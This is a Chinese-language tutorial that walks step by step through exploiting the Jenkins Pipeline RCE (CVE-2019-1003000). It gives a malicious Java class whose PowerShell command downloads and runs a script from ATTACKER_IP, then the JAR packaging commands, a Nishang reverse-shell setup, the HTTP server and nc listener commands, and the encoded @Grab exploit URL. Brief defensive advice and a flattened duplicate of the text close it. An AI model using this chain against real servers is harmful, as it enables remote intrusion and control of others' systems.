再探Jenkins RCE
字数 1402 2025-08-26 22:11:28

Jenkins RCE漏洞(CVE-2019-1003000)利用教学文档

漏洞概述

Jenkins Pipeline特性中存在一个远程代码执行漏洞(CVE-2019-1003000),允许攻击者通过未经验证的GET请求执行Groovy脚本。该漏洞利用Groovy的@Grab注释调用Grape(JAR依赖管理工具)下载并执行恶意JAR文件。

漏洞背景

  • 漏洞组件:Jenkins Pipeline (使用Groovy实现)
  • 漏洞根源:未经验证的GET请求可作为Groovy元编程输入
  • 关键利用点@Grab注释可调用Grape下载并执行远程JAR文件
  • 影响版本:特定版本的Jenkins Pipeline插件

漏洞利用前提条件

  1. 目标Jenkins实例未启用身份验证或存在认证绕过
  2. 目标服务器能够访问攻击者控制的HTTP服务器
  3. 目标Jenkins运行在Java 8环境(注意Java版本兼容性)

漏洞利用步骤详解

1. 环境准备

攻击者需要准备:

  • 一台可被目标访问的HTTP服务器
  • 用于接收反向连接的监听器
  • 正确版本的Java开发环境(建议Java 8)

2. 构造恶意JAR文件

2.1 编写恶意Java类

创建Orange.java文件,内容如下:

public class Orange {
    public Orange(){
        try {
            String payload = "powershell iex(new-object net.webclient).downloadstring('http://ATTACKER_IP/shell.ps1')";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

注意:

  • 替换ATTACKER_IP为攻击者IP
  • 对于Linux目标,可使用bash命令替代powershell

2.2 编译Java类

使用Java 8编译(确保class文件版本兼容):

javac Orange.java

2.3 创建必要的元数据

mkdir -p META-INF/services/
echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners

2.4 打包JAR文件

jar cvf 0xdf-223.jar Orange.class META-INF

3. 准备PowerShell反向Shell

使用Nishang的Invoke-PowerShellTcp.ps1脚本:

  1. 复制脚本并重命名为shell.ps1
  2. 在文件末尾添加反向连接命令:
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port 443

4. 设置HTTP服务器

  1. 创建JAR文件的目录结构:
mkdir -p tw/orange/0xdf/223/
mv 0xdf-223.jar tw/orange/0xdf/223/
  1. 启动Python HTTP服务器:
python3 -m http.server 80
  1. 在另一终端启动Netcat监听器:
nc -lnvp 443

5. 发送恶意请求

构造并发送以下URL请求(URL编码):

http://TARGET_IP:PORT/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name='orange.tw',%20root='http://ATTACKER_IP/')%0A@Grab(group='tw.orange',%20module='0xdf',%20version='223')%0Aimport%20Orange;

解码后的Groovy脚本:

@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://ATTACKER_IP/')
@Grab(group='tw.orange', module='0xdf', version='223')
import Orange;

6. 触发RCE

当目标访问该URL时:

  1. Jenkins会尝试从攻击者服务器下载JAR文件
  2. 下载执行后,会进一步下载并执行shell.ps1
  3. 攻击者获得反向Shell连接

故障排除

Java版本问题

如果遇到类似错误:

java.lang.UnsupportedClassVersionError: Orange是由Java运行时的最新版本(class file版本55.0)编译的...

解决方案:

  1. 确保使用Java 8编译(版本52)
  2. 在Kali中切换Java版本:
sudo update-alternatives --config javac
# 选择Java 8对应的选项

JAR文件更新问题

Grape会缓存已下载的模块,如需更新JAR:

  1. 增加版本号(如从223改为224)
  2. 重新编译打包JAR
  3. 创建新的目录结构
  4. 更新URL中的版本号

防御措施

  1. 启用Jenkins身份验证
  2. 限制对/securityRealm等敏感路径的访问
  3. 及时更新Jenkins及Pipeline插件
  4. 监控异常的网络连接(特别是对外部JAR的下载)

参考链接

  • 原始漏洞分析:https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
  • CVE-2019-1003000详细信息:https://nvd.nist.gov/vuln/detail/CVE-2019-1003000
  • Nishang项目:https://github.com/samratashok/nishang
Jenkins RCE漏洞(CVE-2019-1003000)利用教学文档 漏洞概述 Jenkins Pipeline特性中存在一个远程代码执行漏洞(CVE-2019-1003000),允许攻击者通过未经验证的GET请求执行Groovy脚本。该漏洞利用Groovy的 @Grab 注释调用Grape(JAR依赖管理工具)下载并执行恶意JAR文件。 漏洞背景 漏洞组件 :Jenkins Pipeline (使用Groovy实现) 漏洞根源 :未经验证的GET请求可作为Groovy元编程输入 关键利用点 : @Grab 注释可调用Grape下载并执行远程JAR文件 影响版本 :特定版本的Jenkins Pipeline插件 漏洞利用前提条件 目标Jenkins实例未启用身份验证或存在认证绕过 目标服务器能够访问攻击者控制的HTTP服务器 目标Jenkins运行在Java 8环境(注意Java版本兼容性) 漏洞利用步骤详解 1. 环境准备 攻击者需要准备: 一台可被目标访问的HTTP服务器 用于接收反向连接的监听器 正确版本的Java开发环境(建议Java 8) 2. 构造恶意JAR文件 2.1 编写恶意Java类 创建 Orange.java 文件,内容如下: 注意: 替换 ATTACKER_IP 为攻击者IP 对于Linux目标,可使用bash命令替代powershell 2.2 编译Java类 使用Java 8编译(确保class文件版本兼容): 2.3 创建必要的元数据 2.4 打包JAR文件 3. 准备PowerShell反向Shell 使用Nishang的 Invoke-PowerShellTcp.ps1 脚本: 复制脚本并重命名为 shell.ps1 在文件末尾添加反向连接命令: 4. 设置HTTP服务器 创建JAR文件的目录结构: 启动Python HTTP服务器: 在另一终端启动Netcat监听器: 5. 发送恶意请求 构造并发送以下URL请求(URL编码): 解码后的Groovy脚本: 6. 触发RCE 当目标访问该URL时: Jenkins会尝试从攻击者服务器下载JAR文件 下载执行后,会进一步下载并执行 shell.ps1 攻击者获得反向Shell连接 故障排除 Java版本问题 如果遇到类似错误: 解决方案: 确保使用Java 8编译(版本52) 在Kali中切换Java版本: JAR文件更新问题 Grape会缓存已下载的模块,如需更新JAR: 增加版本号(如从223改为224) 重新编译打包JAR 创建新的目录结构 更新URL中的版本号 防御措施 启用Jenkins身份验证 限制对 /securityRealm 等敏感路径的访问 及时更新Jenkins及Pipeline插件 监控异常的网络连接(特别是对外部JAR的下载) 参考链接 原始漏洞分析:https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html CVE-2019-1003000详细信息:https://nvd.nist.gov/vuln/detail/CVE-2019-1003000 Nishang项目:https://github.com/samratashok/nishang